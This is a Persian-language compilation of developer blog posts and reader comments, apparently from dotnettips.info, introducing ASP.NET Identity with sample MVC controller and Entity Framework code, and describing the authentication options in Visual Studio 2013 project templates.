استفاده از ORM هم خوب است ولی استفاده از ORM یا Stored Procedure به صورت مطقن مشکل را حل نمی‌کند. ممکن است در یک Stored Procedure کد sql یه صورت dynamic توید و با sp_executesql اجرا شود که همچنان مشکل پا برجا خواهد بود.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۰ ۰:۱۹

البته کدی که ابزارهای ORM به صورت خودکار از عبارات LINQ تولید می‌کنند دارای dynamic sql نیست؛ مگر اینکه شخصی خودش عمدا این‌کار رو دستی انجام بده و بعد از ORM برای اجرای این SP کمک بگیره.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۰ ۰:۳۱

اگر کسی هنوز می‌خواد SQL بنویسه، استفاده از Micro ORMها (^ و ^) بهتر از این کتابخانه‌های SQL Helper دستی هست (^ و ^).

نویسنده: ساسان عزیزی
تاریخ: ۱۳۹۲/۱۰/۱۱ ۱۰:۲۸

یعنی در صورت استفاده از linq هم باز این مشکل پا برجاست؟!

نویسنده: مصطفی
تاریخ: ۱۳۹۲/۱۰/۱۱ ۱۰:۵۶

وقتی شما از linq استفاده کنید نفوذ از طریق sql injection به شدت کاهش پیدا می‌کنه
این لینک رو که توسط آقای نصیری توضیح داده شده مطالعه کنید
امنیت در LINQ to SQL

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۱ ۱۱:۰

با LINQ نه ولی اگر دستی SP بنویسید ممکنه این SP شما نا امن باشد. یک مثال در اینجا:

خطر SQL injection هنگام استفاده از ORM و SP

عنوان: **معرفی ASP.NET Identity**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۴ ۹:۴۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Entity framework, MVC, Security, ASP.NET Identity

سیستم ASP.NET Membership بهمراه ASP.NET 2.0 در سال 2005 معرفی شد، و از آن زمان تا بحال تغییرات زیادی در چگونگی مدیریت احزار هویت و اختیارات کاربران توسط اپلیکیشن‌های وب بوجود آمده است. ASP.NET Identity نگاهی تازه است به آنچه که سیستم Membership هنگام تولید اپلیکیشن‌های مدرن برای وب، موبایل و تبلت باید باشد.

پیش زمینه: سیستم عضویت در ASP.NET

ASP.NET Membership

ASP.NET Membership طراحی شده بود تا نیازهای سیستم عضویت وب سایت‌ها را تامین کند، نیازهایی که در سال 2005 رایج بود و شامل مواردی مانند مدل احراز هویت فرم، و یک پایگاه داده SQL Server برای ذخیره اطلاعات کاربران و پروفایل هایشان می‌شد. امروزه گزینه‌های بسیار بیشتری برای ذخیره داده‌های وب اپلیکیشن‌ها وجود دارد، و اکثر توسعه دهندگان می‌خواهند از اطلاعات شبکه‌های اجتماعی نیز برای احراز هویت و تعیین سطوح دسترسی کاربرانشان استفاده کنند. محدودیت‌های طراحی سیستم ASP.NET Membership گذر از این تحول را دشوار می‌کند:

الگوی پایگاه داده آن برای SQL Server طراحی شده است، و قادر به تغییرش هم نیستید. می‌توانید اطلاعات پروفایل را اضافه کنید، اما تمام داده‌ها در یک جدول دیگر ذخیره می‌شوند، که دسترسی به آنها نیز مشکل‌تر است، تنها راه دسترسی Profile Provider API خواهد بود.

سیستم تامین کننده (Provider System) امکان تغییر منبع داده‌ها را به شما می‌دهد، مثلا می‌توانید از بانک‌های اطلاعاتی MySQL یا Oracle استفاده کنید. اما تمام سیستم بر اساس پیش فرض هایی طراحی شده است که تنها برای بانک‌های اطلاعاتی relational درست هستند. می‌توانید تامین کننده (Provider) ای بنویسید که داده‌های سیستم عضویت را در منبعی به غیر از دیتابیس‌های relational ذخیره می‌کند؛ مثلا Windows Azure Storage Tables. اما در این صورت باید مقادیر زیادی کد بنویسید. مقادیر زیادی هم System.NotImplementedException باید بنویسید، برای متد هایی که به دیتابیس‌های NoSQL مربوط نیستند.

از آنجایی که سیستم ورود/خروج سایت بر اساس مدل Forms Authentication کار می‌کند، سیستم عضویت نمی‌تواند از OWIN استفاده کند. OWIN شامل کامپوننت هایی برای احراز هویت است که شامل سرویس‌های خارجی هم می‌شود (مانند Microsoft Accounts, Facebook, Google, Twitter). همچنین امکان ورود به سیستم توسط حساب‌های کاربری سازمانی (Organizational Accounts) نیز وجود دارد مانند Active Directory و Windows Azure Active Directory. این کتابخانه از JWT، OAuth 2.0 و CORS نیز پشتیبانی می‌کند.

ASP.NET Simple Membership

ASP.NET simple membership به عنوان یک سیستم عضویت، برای فریم ورک Web Pages توسعه داده شد. این سیستم با WebMatrix و Visual Studio 2010 SP1 انتشار یافت. هدف از توسعه این سیستم، آسان کردن پروسه افزودن سیستم عضویت به یک اپلیکیشن Web Pages بود. این سیستم پروسه کلی کار را آسان‌تر کرد، اما هنوز مشکلات ASP.NET Membership را نیز داشت. محدودیت هایی نیز وجود دارند:

ذخیره داده‌های سیستم عضویت در بانک‌های اطلاعاتی non-relational مشکل است.

نمی توانید از آن در کنار OWIN استفاده کنید.

با فراهم کننده‌های موجود ASP.NET Membership بخوبی کار نمی‌کند. توسعه پذیر هم نیست.

ASP.NET Universal Providers

ASP.NET Universal Providers برای ذخیره سازی اطلاعات سیستم عضویت در Windows Azure SQL Database توسعه پیدا کردند. با SQL Server Compact هم بخوبی کار می‌کنند. این تامین کننده‌ها بر اساس Entity Framework Code First ساخته شده بودند و بدین معنا بود که داده‌های سیستم عضویت را می‌توان در هر منبع داده ای که توسط EF پشتیبانی می‌شود ذخیره کرد. با انتشار این تامین کننده‌ها الگوی دیتابیس سیستم عضویت نیز بسیار سبک‌تر و بهتر شد. اما این سیستم بر پایه زیر ساخت ASP.NET

Membership نوشته شده است، بنابراین محدودیت‌های پیشین مانند محدودیت‌های SqlMembershipProvider هنوز وجود دارند. به بیان دیگر، این سیستم‌ها همچنان برای بانک‌های اطلاعاتی relational طراحی شده اند، پس سفارشی سازی اطلاعات کاربران و پروفایل‌ها هنوز مشکل است. در آخر آنکه این تامین کننده‌ها هنوز از مدل احراز هویت فرم استفاده می‌کنند.

ASP.NET Identity همانطور که داستان سیستم عضویت ASP.NET طی سالیان تغییر و رشد کرده است، تیم ASP.NET نیز آموخته‌های زیادی از بازخوردهای مشتریان شان بدست آورده اند. این پیش فرض که کاربران شما توسط یک نام کاربری و کلمه عبور که در اپلیکیشن خودتان هم ثبت شده است به سایت وارد خواهند شد، دیگر معتبر نیست. دنیای وب اجتماعی شده است. کاربران از طریق وب سایت‌ها و شبکه‌های اجتماعی متعددی با یکدیگر در تماس هستند، خیلی از اوقت بصورت زنده! شبکه هایی مانند Facebook و Twitter. همانطور که توسعه نرم افزارهای تحت وب رشد کرده است، الگوها و مدل‌های پیاده سازی نیز تغییر و رشد کرده اند. امکان Unit Testing روی کد اپلیکیشن‌ها، یکی از مهم‌ترین دلواپسی‌های توسعه دهندگان شده است. در سال 2008 تیم ASP.NET فریم ورک جدیدی را بر اساس الگوی Model-View-Controller (MVC) اضافه کردند. هدف آن کمک به توسعه دهندگان، برای تولید برنامه‌های ASP.NET با قابلیت Unit Testing بهتر بود. توسعه دهندگانی که می‌خواستند کد اپلیکیشن‌های خود را Unit Test کنند، همین امکان را برای سیستم عضویت نیز می‌خواستند.

با در نظر گرفتن تغییراتی که در توسعه اپلیکیشن‌های وب بوجود آمده ASP.NET Identity با اهداف زیر متولد شد:

یک سیستم هویت واحد (One ASP.NET Identity system)

سیستم ASP.NET Identity می‌تواند در تمام فریم ورک‌های مشتق از ASP.NET استفاده شود. مانند ASP.NET MVC, Web Forms, Web Pages, Web API و SignalR

از این سیستم می‌توانید در تولید اپلیکیشن‌های وب، موبایل، استور (Store) و یا اپلیکیشن‌های ترکیبی استفاده کنید.

سادگی تزریق داده‌های پروفایل درباره کاربران

روی الگوی دیتابیس برای اطلاعات کاربران و پروفایل‌ها کنترل کامل دارید. مثلا می‌توانید به سادگی یک فیلد، برای تاریخ تولد در نظر بگیرید که کاربران هنگام ثبت نام در سایت باید آن را وارد کنند.

کنترل ذخیره سازی/واکشی اطلاعات

بصورت پیش فرض ASP.NET Identity تمام اطلاعات کاربران را در یک دیتابیس ذخیره می‌کند. تمام مکانیزم‌های دسترسی به داده‌ها توسط EF Code First کار می‌کنند.

از آنجا که روی الگوی دیتابیس، کنترل کامل دارید، تغییر نام جداول و یا نوع داده فیلدهای کلیدی و غیره ساده است.

استفاده از مکانیزم‌های دیگر برای مدیریت داده‌های آن ساده است، مانند SharePoint, Windows Azure Storage Table و دیتابیس‌های NoSQL.

تست پذیری

ASP.NET Identity تست پذیری اپلیکیشن وب شما را بیشتر می‌کند. می‌توانید برای تمام قسمت هایی که از ASP.NET Identity استفاده می‌کنند تست بنویسید.

تامین کننده نقش (Role Provider)

تامین کننده ای وجود دارد که به شما امکان محدود کردن سطوح دسترسی بر اساس نقوش را می‌دهد. بسادگی می‌توانید نقش‌های جدید مانند "Admin" بسازید و بخش‌های مختلف اپلیکیشن خود را محدود کنید.

Claims Based

ASP.NET Identity از امکان احراز هویت بر اساس Claims نیز پشتیبانی می‌کند. در این مدل، هویت کاربر بر اساس دسته ای از اختیارات او شناسایی می‌شود. با استفاده از این روش توسعه دهندگان برای تعریف هویت کاربران، آزادی عمل بیشتری نسبت به مدل Roles دارند. مدل نقش‌ها تنها یک مقدار منطقی (bool) است؛ یا عضو یک نقش هستید یا خیر، در حالیکه با استفاده از روش Claims می‌توانید اطلاعات بسیار ریز و دقیقی از هویت کاربر در دست داشته باشید.

تامین کنندگان اجتماعی

به راحتی می‌توانید از تامین کنندگان دیگری مانند Microsoft, Facebook, Twitter, Google و غیره استفاده کنید و اطلاعات مربوط به کاربران را در اپلیکیشن خود ذخیره کنید.

Windows Azure Active Directory

برای اطلاعات بیشتر به این لینک مراجعه کنید.

یکپارچگی با OWIN

ASP.NET Identity بر اساس OWIN توسعه پیدا کرده است، بنابراین از هر میزبانی که از OWIN پشتیبانی می‌کند می‌توانید استفاده کنید. همچنین هیچ وابستگی ای به System.Web وجود ندارد. ASP.NET Identity یک فریم ورک کامل و مستقل برای OWIN است و می‌تواند در هر اپلیکیشنی که روی OWIN میزبانی شده استفاده شود.

ASP.NET Identity از OWIN برای ورود/خروج کاربران در سایت استفاده می‌کند. این بدین معنا است که بجای استفاده از Forms Authentication برای تولید یک کوکی، از OWIN CookieAuthentication استفاده می‌شود.

پکیج NuGet

ASP.NET Identity در قالب یک بسته NuGet توزیع می‌شود. این بسته در قالب پروژه‌های ASP.NET MVC, Web Forms و Web API که با Visual Studio 2013 منتشر شدند گنجانده شده است.

توزیع این فریم ورک در قالب یک بسته NuGet این امکان را به تیم ASP.NET می‌دهد تا امکانات جدیدی توسعه دهند، باگ‌ها را برطرف کنند و نتیجه را بصورت چابک به توسعه دهندگان عرضه کنند.

شروع کار با ASP.NET Identity

ASP.NET Identity در قالب پروژه‌های ASP.NET MVC, Web Forms, Web API و SPA که بهمراه Visual Studio 2013 منتشر شده اند استفاده می‌شود. در ادامه به اختصار خواهیم دید که چگونه ASP.NET Identity کار می‌کند.

یک پروژه جدید ASP.NET MVC با تنظیمات Individual User Accounts بسازید.

پروژه ایجاد شده شامل سه بسته می‌شود که مربوط به ASP.NET Identity هستند:

Microsoft.AspNet.Identity.EntityFramework این بسته شامل پیاده سازی ASP.NET Identity با Entity Framework می‌شود، که تمام داده‌های مربوطه را در یک دیتابیس SQL Server ذخیره می‌کند.
Microsoft.AspNet.Identity.Core این بسته محتوی تمام interfaceهای ASP.NET Identity است. با استفاده از این بسته می‌توانید پیاده سازی دیگری از ASP.NET Identity بسازید که منبع داده متفاوتی را هدف قرار می‌دهد. مثلا Windows Azure Storage Table و دیتابیس‌های NoSQL.

Microsoft.AspNet.Identity.OWIN این بسته امکان استفاده از احراز هویت OWIN را در اپلیکیشن‌های ASP.NET فراهم می‌کند. هنگام تولید کوکی‌ها از OWIN Cookie Authentication استفاده خواهد شد.

اپلیکیشن را اجرا کرده و روی لینک Register کلیک کنید تا یک حساب کاربری جدید ایجاد کنید.

Register - My ASP.NET Ap
localhost:1234/Account/Register
Application name
Register.
Create a new account.
User name
Password
Confirm password
Register
© 2013 - My ASP.NET Application

هنگامیکه بر روی دکمه‌ی Register کلیک شود، کنترلر Account، اکشن متد Register را فراخوانی می‌کند تا حساب کاربری جدیدی با استفاده از ASP.NET Identity API ساخته شود.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        var user = new ApplicationUser() { UserName = model.UserName };
        var result = await UserManager.CreateAsync(user, model.Password);
        if (result.Succeeded)
        {
            await SignInAsync(user, isPersistent: false);
            return RedirectToAction("Index", "Home");
        }
        else
        {
            AddErrors(result);
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

اگر حساب کاربری با موفقیت ایجاد شود، کاربر توسط فراخوانی متد SignInAsync به سایت وارد می‌شود.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        var user = new ApplicationUser() { UserName = model.UserName };
        var result = await UserManager.CreateAsync(user, model.Password);
        if (result.Succeeded)
        {
            await SignInAsync(user, isPersistent: false);
            return RedirectToAction("Index", "Home");
        }
        else
        {
            AddErrors(result);
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

```
private async Task SignInAsync(ApplicationUser user, bool isPersistent)
{
    AuthenticationManager.SignOut(DefaultAuthenticationTypes.ExternalCookie);

    var identity = await UserManager.CreateIdentityAsync(
       user, DefaultAuthenticationTypes.ApplicationCookie);

    AuthenticationManager.SignIn(
       new AuthenticationProperties() {
          IsPersistent = isPersistent
       }, identity);
}
```

از آنجا که ASP.NET Identity و OWIN Cookie Authentication هر دو Claims-based هستند، فریم ورک، انتظار آبجکتی از نوع ClaimsIdentity را خواهد داشت. این آبجکت تمامی اطلاعات لازم برای تشخیص هویت کاربر را در بر دارد. مثلا اینکه کاربر

مورد نظر به چه نقش هایی تعلق دارد؟ و اطلاعاتی از این قبیل. در این مرحله می‌توانید Claimهای بیشتری را به کاربر بیافزایید.

کلیک کردن روی لینک Log off در سایت، اکشن متد LogOff در کنترلر Account را اجرا می‌کند.

```
// POST: /Account/LogOff
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult LogOff()
{
    AuthenticationManager.SignOut();
    return RedirectToAction("Index", "Home");
}
```

همانطور که مشاهده می‌کنید برای ورود/خروج کاربران از AuthenticationManager استفاده می‌شود که متعلق به OWIN است. متد SignOut همتای متد FormsAuthentication.SignOut است.

کامپوننت‌های ASP.NET Identity

تصویر زیر اجزای تشکیل دهنده ASP.NET Identity را نمایش می‌دهد. بسته هایی که با رنگ سبز نشان داده شده اند سیستم کلی ASP.NET Identity را می‌سازند. مابقی بسته‌ها وابستگی هایی هستند که برای استفاده از ASP.NET Identity در اپلیکیشن‌های ASP.NET لازم اند.

دو پکیج دیگر نیز وجود دارند که به آنها اشاره نشد:

Microsoft.Security.Owin.Cookies این بسته امکان استفاده از مدل احراز هویت مبتنی بر کوکی (Cookie-based Authentication) را فراهم می‌کند. مدلی مانند سیستم ASP.NET Forms Authentication.

EntityFramework که نیازی به معرفی ندارد.

مهاجرت از Membership به ASP.NET Identity

تیم ASP.NET و مایکروسافت هنوز راهنمایی رسمی، برای این مقوله ارائه نکرده اند. گرچه پست‌های وبلاگ‌ها و منابع مختلفی وجود دارند که از جنبه‌های مختلفی به این مقوله پرداخته اند. امیدواریم تا در آینده نزدیک مایکروسافت راهنمایی‌های لازم را منتشر کند، ممکن است ابزار و افزونه هایی نیز توسعه پیدا کنند. اما در یک نگاه کلی می‌توان گفت مهاجرت بین این دو فریم ورک زیاد ساده نیست. تفاوت‌های فنی و ساختاری زیادی وجود دارند، مثلا الگوی دیتابیس‌ها برای ذخیره اطلاعات کاربران، مبتنی بودن بر فریم

ورک OWIN و غیره. اگر قصد اجرای پروژه جدیدی را دارید پیشنهاد می‌کنم از فریم ورک جدید مایکروسافت ASP.NET Identity استفاده کنید.

قدم‌های بعدی Create an ASP.NET MVC 5 App with Facebook and Google OAuth2 and OpenID Sign-on

در این مقاله خواهید دید چگونه اطلاعات پروفایل را اضافه کنید و چطور از ASP.NET Identity برای احراز هویت کاربران توسط Facebook و Google استفاده کنید. Deploy a Secure ASP.NET MVC app with Membership, OAuth, and SQL Database to a Windows Azure Web Site

Individual User Accounts

Organizational Accounts

Customizing profile information in ASP.NET Identity in VS 2013 templates

Get more information from Social providers used in the VS 2013 project templates

https://github.com/rustd/AspnetIdentitySample

پروژه نمونه ASP.NET Identity می‌تواند مفید باشد. در این پروژه نحوه کارکردن با کاربران و نقش‌ها و همچنین نیازهای مدیریتی رایج نمایش داده شده.

نظرات خوانندگان

نویسنده: ناظم
تاریخ: ۱۳۹۲/۱۰/۱۴ ۱۱:۴۶

سلام دوست عزیز
به خاطر این مطلب بسیار خوبتون سپاسگذارم.
آیا کتاب یا راهنمای جامعی برای کسی مثل من که اصلا تجربه کار با هیچ کدام از این سیستم‌های مدیریت کاربر رو نداره سراغ دارین؟ لینکهای بالا همشون موردی هستن

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۰/۱۴ ۱۲:۳۰

مباحث ابتدایی Forms Authentication مربوط است به ASP.NET 1.x؛ دوره‌ای در این مورد . همچنین در MVC هم قابل استفاده است (^ و ^). مباحث membership هم مربوط است به ASP.NET 2.x. کتابی در این مورد .

نویسنده: مهران
تاریخ: ۱۳۹۲/۱۰/۱۴ ۲۱:۳۹

سلام
با تشکر از مطالب و ارائه خوبتون؛
خواستم بدونم چطور میشه، کاربر را بر اساس عملیات کنترلر (Actions) تعیین دسترسی کرد؟

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۴ ۲۱:۴۴

تا بحال با کتاب یا دوره جامعی درباره ASP.NET Identity مواجه نشدم، اگر منبع مناسبی پیدا کنم به اشتراک میذارم. در چند پست آتی بیشتر درباره این فریم ورک صحبت خواهم کرد و مثال هایی عملی نیز در نظر خواهم گرفت

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۴ ۲۳:۲۷

سوالتون رو دقیقا متوجه نشدم. از خاصیت Authorize میتونید استفاده کنید، که قابل اعمال بر روی تک تک اکشن متدها و یا کل کنترلر است. خاصیت AllowAnonymous برای دسترسی عمومی استفاده می‌شود. برای اطلاعات بیشتر درباره نحوه استفاده از ASP.NET Identity و ساختار کلی OWIN لطفا به لینک‌های ضمیمه شده مراجعه کنید.

```
[Authorize]
public controller account
{
    public ActionResult Index()  { }
    public ActionResult Manage() { }

    [AllowAnonymous]
    public ActionResult Info() { }
}

[Authorize(Roles="Admin")]
public controller admin
{
    public ActionResult Index() { }
}
```

نویسنده: مهران
تاریخ: ۱۳۹۲/۱۰/۱۵ ۰:۱

فکر میکنم با مطالعه بیشتر Claims Based که در مطلب اشاره کردید، به راه حل مورد نظر برسم.

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۵ ۲:۱۶

درسته، درباره Claims-based authorization هم یک یا دو پست می‌نویسم.

نویسنده: وحید
تاریخ: ۱۳۹۲/۱۰/۲۰ ۲:۱۸

با تشکر از مطلب مفیدتون سوالی داشتم
یک جا گفتید " مثلا الگوی دیتابیس‌ها برای ذخیره اطلاعات کاربران " منظورتون از دیتابیس Table هست؟
چرا از کد زیر task برای خروجی استفاده کردید

```
async Task<ActionResult> Register
```

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۲۱ ۶:۴۹

منظور دیتابیس سیستم عضویت است، همانطور که گفته شد این دیتابیس توسط EF ساخته می‌شود، بنابراین جداول، فیلدها و دیگر موارد را میتوانید سفارشی کنید.

همانطور که از امضای این متد مشخص است، عملیات بصورت Async پردازش می‌شوند. برای اطلاعات بیشتر به این لینک نمونه مراجعه کنید.

نویسنده: Programmer
تاریخ: ۱۳۹۲/۱۰/۲۳ ۱۷:۱۸

با عرض سلام و تشکر بابت پست‌های مفید که یقیناً خیلی براش زحمت می‌کشید.

اگر ممکنه کمی در مورد ساختار Identity و کلاس‌ها و اینترفیس‌ها و نحوه کار با اونها بصورتی که بتونیم خودمون هم Custom Implement اش رو انجام بدیم توضیح بدید.

اینکه اینترفیس هایی چون IUser و IUserStore و IUserPasswordStore و IUserSecurityStampStore و در طرف دیگه UserManager و UserStore و IdentityUser چی هستند و با چه هدفی تعریف شدند و قراره چیکار کنند و در آخر برای اینکه مطابق آموزش‌هایی که در سایت هست در مورد MVC و تعریف لایه‌های مختلف و سرویس‌های مورد نیاز، چطور باید از Identity استفاده کرد که هماهنگ با اون مطالب باشه؟

ممنون

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۲۳ ۲۰:۴

در پست‌های آتی پیاده سازی یک تامین کننده (Provider) برای MySQL رو بررسی می‌کنم. برای اطلاعات بیشتر به Implementing a Custom MySQL ASP.NET Identity Storage Provider مراجعه کنید.

هنوز مستندات کامل و رسمی برای این فریم ورک عرضه نشده اما مطالب مفید زیادی در اینترنت وجود دارند. چند لینک در زیر لیست شده:

ASP.NET Core Identity

The good, the bad and the ugly of ASP.NET Identity

درباره تطابق با آموزش‌های سایت: دقیقا متوجه نشدم منظورتون کدوم الگوها است، اما چند نکته تکمیلی:
بصورت پیش فرض وقتی ASP.NET Identity به پروژه اضافه میشه کلاسی بنام ApplicationDbContext ایجاد میشه که بعنوان DbContext پیش فرض برای دیتابیس عضویت استفاده خواهد شد. اگر موجودیت جدیدی برای پروفایل کاربران بسازید باید بعنوان یک DbSet<T> به این کلاس افزوده بشه. اگر نیازی به تفکیک دیتابیس سیستم عضویت و دیتابیس اپلیکیشن نیست، بهتره از یک DbContext استفاده کنید. لایه بندی مدل ها، سرویس‌ها و کد دسترسی به داده‌ها هم ساده است چرا که کل سیستم توسط EF Code First مدیریت میشه. بنابراین استفاده از الگوهای رایج مانند تزریق وابستگی‌ها و غیره مشابه دیگر سناریوهای EF Code First است.

نویسنده: کامران سادین
تاریخ: ۱۳۹۲/۱۰/۲۹ ۱۷:۱

با سلام.
بنده می‌خواستم بدونم آیا در .NET ورژن 4 هم میتوانیم استفاده کنیم؟
با ویژوال استادیو 2012

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۲۹ ۱۸:۴۰

با نصب پکیج‌های مربوط به ASP.NET Identity و غیرفعال کردن Forms Auth می‌تونید همچین کاری بکنید اما توصیه نمیشه.
سیستم Identity اکثر عملیاتش رو بصورت Async انجام میده که نیاز به NET 4.5. داره. دلایل دیگه ای هم وجود داره که اگر یک جستجوی ساده در اینترنت بکنید مطالب خوبی در این باره پیدا می‌کنید، مثلا لینک زیر:

http://stackoverflow.com/questions/19237285/using-asp-net-identity-in-mvc-4

نویسنده: سوران
تاریخ: ۱۳۹۲/۱۲/۰۱ ۱۲:۳۷

با تشکر از مطالب آموزنده شما ،
من در ارتباط با ارث بری از کلاس IdentityUser یک سوال داشتم. با توجه به نمونه کدهای تمپلیت vs2013 یک کلاس ApplicationUser از کلاس IdentityUser ارث بری می‌کنه و DbContext هم مربوط به این کلاس میشه، یعنی به صورت زیر

```
ApplicationDbContext : IdentityDbContext<ApplicationUser>
```

حال سوال من اینه که اگه چند کلاس داشته باشیم که بخوایم از IdentityUser ارث بری داشته باشند، چطور میشه اونها را در یک DbContext استفاده کرد؟
اگر مقاله یا مثالی در این مورد معرفی کنید ممنون میشم .
با تشکر

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۲/۰۳ ۵:۲۴

کلاس کاربر:

```
public class AppUser : IdentityUser
{
    public string Email { get; set; }
    public string ConfirmationToken { get; set; }
    public bool IsConfirmed { get; set; }

    public virtual UserProfile Profile { get; set; }
}
```

کلاس پروفایل کاربر:

```
public class UserProfile
{
    public int Id { get; set; }
    public string FirstName { get; set; }
    public string LastName { get; set; }

    public DateTime? Birthday { get; set; }

    public byte[] Avatar { get; set; }
}
```

کلاس کانتکست دیتابیس:

```
public class SampleDbContext : IdentityDbContext
{
    public SampleDbContext() : base("DefaultConnection") { }

    static SampleDbContext()
    {
        Database.SetInitializer(new DropCreateDatabaseIfModelChanges<SampleDbContext>());
    }

    public DbSet<UserProfile> UserProfiles { get; set; }
    public DbSet<Customer> Customers { get; set; }
    public DbSet<Product> Products { get; set; }
    ...
}
```

این کلاس‌ها می‌تونن تو لایه دیگری مثل Domain Models تعریف بشن.

نویسنده: رضا گرمارودی
تاریخ: ۱۳۹۲/۱۲/۰۳ ۹:۲۱

سلام؛ Identity در کار با SQLCE مشکل داره! هنگام چک کردن نام کاربری و کلمه عبور پیغامی مبنی بر استفاده از تابع Lowercase میدهد که گویا در SqlCe به شیوه دیگری باید صدا زده شود !

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۰۳ ۹:۳۶

این پروژه سورس باز هست. مشکلات آن‌را برای رفع در اینجا گزارش کنید. نحوه‌ی گزارش مشکل هم باید کمی فنی باشد. حداقل جزئیات exception و stack trace آن باید گزارش شوند.

نویسنده: احمد
تاریخ: ۱۳۹۳/۰۲/۲۳ ۱۰:۲۸

سلام
آیا در پروژه‌های windows application که از wcf استفاده میکنند هم میتوانیم از این سیستم استفاده کنیم.؟

نویسنده: داریوش حمیدی
تاریخ: ۱۳۹۳/۰۷/۱۸ ۲۰:۴

سلام ; در کلاس IdentityUser این خصوصیت دو به چی اشاره دارند ؟

1-SecurityStamp

این مقدار Random تغیر می‌کنید وقتی که اطلاعات کاربری تغیر پیدا می‌کند مثل تغیر رمز عبور ..

2-TwoFactorEnabled

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۹/۲۹ ۱۳:۴۶

« اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity »

عنوان: **متدهای احراز هویت در VS 2013**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۵ ۲:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Authentication, ASP.NET Identity, Security

ویژوال استودیو 2013 چندین گزینه برای احراز هویت در قالب‌های پیش فرض پروژه‌های ASP.NET Web Forms, MVC, Web API ارائه می‌کند:

No Authentication

Individual User Accounts

Organizational Accounts

Windows Authentication

No Authentication

اگر گزینه **No Authentication** را انتخاب کنید، پروژه ایجاد شده صفحاتی را برای ورود به سایت نخواهد ساخت. همچنین رابط کاربری ای برای نمایش کاربر فعلی، کلاس‌های موجودیت‌ها برای یک دیتابیس عضویت و رشته‌های اتصالی نیز وجود نخواهند داشت.

Individual User Accounts

اگر گزینه‌ی **Individual User Accounts** را انتخاب کنید، اپلیکیشن شما برای استفاده از ASP.NET Identity (که پیش از این با نام ASP.NET Membership شناخته می‌شد) پیکربندی می‌شود. ASP.NET Identity کاربران را قادر می‌سازد تا با ساختن حساب کاربری جدیدی در سایت و یا با استفاده از تامین کننده‌های ثالثی مانند Facebook, Google و غیره به سایت وارد شوند. این فریم ورک برای ذخیره‌ی داده‌های پروفایل کاربران، بصورت پیش فرض از یک دیتابیس SQL Server LocalDB استفاده می‌کند که می‌توانید بعدا آنرا بر روی SQL Server یا Windows Azure SQL Database نیز منتشر کنید.

این قابلیت‌ها در Visual Studio 2013 در نسخه قبلی نیز وجود داشتند، اما کد سیستم عضویت آن مجددا بازنویسی شده‌است. این بازنویسی دارای مزایای زیر است:

سیستم عضویت جدید بجای استفاده از ماژول ASP.NET Forms Authentication بر پایه OWIN نوشته شده است. این بدین معنا است که از یک مکانیزم احراز هویت واحد می‌توانید در اپلیکیشن‌های ASP.NET Web Forms, MVC, Web API و SignalR استفاده کنید. سیستم عضویت جدید توسط Entity Framework Code First مدیریت می‌شود و شامل تمامی کلاس‌هایی است که نماینده جداول و موجودیت‌ها هستند. این بدین معنا است که روی الگوی دیتابیس کنترل کامل دارید. سفارشی سازی و تغییر اطلاعات کاربران و پروفایل هایشان بسیار ساده‌تر است، تنها لازم است برای اعمال تغییرات از Code First Migrations استفاده کنید.

سیستم عضویت جدید بصورت خودکار در تمام قالب‌های پروژه پیش فرض، نصب و پیاده سازی می‌شود. این امکان برای تمام پروژه‌هایی که دات نت فریم ورک 4.5 را هدف قرار می‌دهند وجود دارد. ASP.NET Identity هنگام تولید وب سایت‌های اینترنتی که اکثر کاربرانشان خارجی (External) هستند گزینه خوبی است. اگر سازمان شما از Active Directory و یا Office 365 استفاده می‌کند و می‌خواهید پروژه‌تان قادر باشد تا احراز هویت کارمندان و شرکای تجاری تان را مدیریت کند، **Organizational Accounts** گزینه بهتری است.

برای اطلاعات بیشتر درباره‌ی Individual User Accounts به لینک‌های زیر مراجعه کنید:

asp.net/identity

Create an ASP.NET MVC 5 App with Facebook and Google OAuth2 and OpenID Sign-on

Web API - External Authentication Services

Adding External Logins to your ASP.NET application in Visual Studio 2013

Organizational Accounts

اگر گزینه **Organizational Accounts** را انتخاب کنید پروژه ایجاد شده برای استفاده از Windows Identity Foundation (WIF) پیکربندی خواهد شد. این فریم ورک برای احراز هویت کاربران از Windows Azure Active Directory (WAAD) استفاده می‌کند که شامل Office 365 نیز می‌شود.

Windows Authentication

اگر گزینه‌ی **Windows Authentication** را انتخاب کنید، پروژه ایجاد شده برای استفاده از Windows Authentication IIS Module پیکربندی خواهد شد. چنین اپلیکیشنی نام دامنه و نام کاربری را نمایش خواهد که یا از Active Directory می‌آید، یا از یک ماشین محلی (local machine). اما رابط کاربری ای برای ورود به سیستم وجود ندارد؛ چرا که اینگونه اپلیکیشن‌ها برای سایت‌های اینترانتی (Intranet) استفاده خواهند شد.

